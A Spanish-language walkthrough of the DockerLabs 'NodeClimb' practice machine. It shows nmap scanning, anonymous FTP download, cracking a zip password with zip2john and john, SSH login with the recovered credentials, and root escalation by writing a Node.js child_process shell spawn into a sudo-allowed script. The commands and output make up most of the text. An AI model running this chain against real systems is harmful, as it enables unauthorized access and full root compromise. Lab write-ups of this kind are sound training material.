NodeClimb
DockerLabs es una plataforma gratuita diseñada para practicar hacking ético al alcance de todo el mundo utilizando Docker. DockerLabs ofrece un entorno seguro y accesible para desplegar laboratorios vulnerables de la forma más eficiente y sencilla posible.
Information Gathering
El análisis inicial comienza con el comando ping para confirmar la accesibilidad de la máquina objetivo en la red.
1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/nodeclimb:-$ ping -c 1 172.17.0.3
PING 172.17.0.3 (172.17.0.3) 56(84) bytes of data.
64 bytes from 172.17.0.3: icmp_seq=1 ttl=64 time=0.049 ms
--- 172.17.0.3 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.049/0.049/0.049/0.000 ms
Realizo un escaneo agresivo de puertos con nmap, lo que me permite identificar rápidamente todos los puertos abiertos.
1
2
3
/home/kali/Documents/dockerlabs/nodeclimb:-$ nmap -p- --open -sS --min-rate 5000 -vvv 172.17.0.3 -n -Pn -oG nmap1
Host: 172.17.0.3 () Status: Up
Host: 172.17.0.3 () Ports: 21/open/tcp//ftp///, 22/open/tcp//ssh/// Ignored State: closed (65533)
Profundizo en los puertos detectados, recopilando información detallada sobre los servicios y versiones en ejecución.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
/home/kali/Documents/dockerlabs/nodeclimb:-$ nmap -sCV -vvv -p21,22 172.17.0.3 -oN nmap2
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack ttl 64 vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 0 0 242 Jul 05 2024 secretitopicaron.zip
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:172.17.0.2
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack ttl 64 OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
| 256 cd1f3b2dc40b9903e6a35c26f54b47ae (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIIJXdsH3BqdecsOrKH3q6AQI9zJxHexsJHT+Kam8R4WWmg8g0o7s75qwSx6YvfhFptiXDYcMT6hq7VNs4YnuUg=
| 256 a0d492f69bdb122b77b6b158e07056f0 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIEGiHc4ywr2G/gO3ihoB+r77LxHnCWOkdfc3n0BiZLQ
MAC Address: E2:9E:09:5F:D0:E6 (Unknown)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Misconfiguration Exploitation
Desde el contenedor puedo conectarme al servicio FTP alojado en el puerto por defecto. Ingreso utilizando el usuario Anonymous, sin proporcionar ninguna contraseña.
Dentro del directorio principal encuentro el archivo secretitopicaron.zip, el cual descargo.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
/home/kali/Documents/dockerlabs/nodeclimb:-$ ftp Anonymous@172.17.0.3
Connected to 172.17.0.3.
Password:
230 Login successful.
ftp> ls
-rw-r--r-- 1 0 0 242 Jul 05 2024 secretitopicaron.zip
226 Directory send OK.
ftp> get secretitopicaron.zip
226 Transfer complete.
ftp> quit
221 Goodbye.
Al intentar descomprimir el contenido, el archivo zip solicita una contraseña.
1
2
3
/home/kali/Documents/dockerlabs/nodeclimb:-$ unzip secretitopicaron.zip
Archive: secretitopicaron.zip
[secretitopicaron.zip] password.txt password:
Para resolver esto, genero un hash con zip2john y utilizo john para obtener la clave en texto plano. El valor revelado es password1.
1
2
3
4
/home/kali/Documents/dockerlabs/nodeclimb:-$ zip2john secretitopicaron.zip > secretitopicaron.txt
/home/kali/Documents/dockerlabs/nodeclimb:-$ john secretitopicaron.txt
password1 (secretitopicaron.zip/password.txt)
Utilizando esa contraseña, accedo finalmente al contenido del zip, que contiene el archivo password.txt. Dentro del archivo encuentro las credenciales mario:laKontraseñAmasmalotaHdelbarrioH.
1
2
3
4
5
6
7
/home/kali/Documents/dockerlabs/nodeclimb:-$ unzip secretitopicaron.zip
Archive: secretitopicaron.zip
[secretitopicaron.zip] password.txt password: password1
extracting: password.txt
/home/kali/Documents/dockerlabs/nodeclimb:-$ cat password.txt
mario:laKontraseñAmasmalotaHdelbarrioH
Luego establezco conexión SSH con el usuario mario usando la contraseña obtenida. El acceso es exitoso, y consigo un shell como usuario local dentro del contenedor.
1
2
3
4
5
/home/kali/Documents/dockerlabs/nodeclimb:-$ ssh mario@172.17.0.3
mario@172.17.0.3's password: laKontraseñAmasmalotaHdelbarrioH
mario@8f2026c76143:~$ id
uid=1000(mario) gid=1000(mario) groups=1000(mario),100(users)
Privilege Escalation
1
2
3
mario@8f2026c76143:~$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
mario:x:1000:1000:mario,,,:/home/mario:/bin/bash
Inspecciono los permisos disponibles mediante sudo, donde identifico que puede ejecutar el binario /usr/bin/node sobre el archivo /home/mario/script.js con privilegios de root y sin necesidad de contraseña.
1
2
3
4
5
6
mario@8f2026c76143:~$ sudo -l
Matching Defaults entries for mario on 8f2026c76143:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User mario may run the following commands on 8f2026c76143:
(ALL) NOPASSWD: /usr/bin/node /home/mario/script.js
El archivo script.js es editable por el usuario actual mario, lo que permite introducir código malicioso.
1
2
mario@8f2026c76143:~$ ls -alh script.js
-rw-r--r-- 1 mario mario 0 Jul 5 2024 script.js
Para aprovechar esta configuración, sobrescribo el contenido con una línea en JavaScript que lanza una shell con privilegios elevados.
1
mario@8f2026c76143:~$ echo 'require("child_process").spawn("/bin/bash", ["-p"], {stdio: "inherit"})' > script.js
Al ejecutar el script con sudo, se invoca Node.js como root, lo que devuelve una shell privilegiada directamente.
1
2
3
4
mario@8f2026c76143:~$ sudo /usr/bin/node /home/mario/script.js
root@8f2026c76143:/home/mario# id
uid=0(root) gid=0(root) groups=0(root)
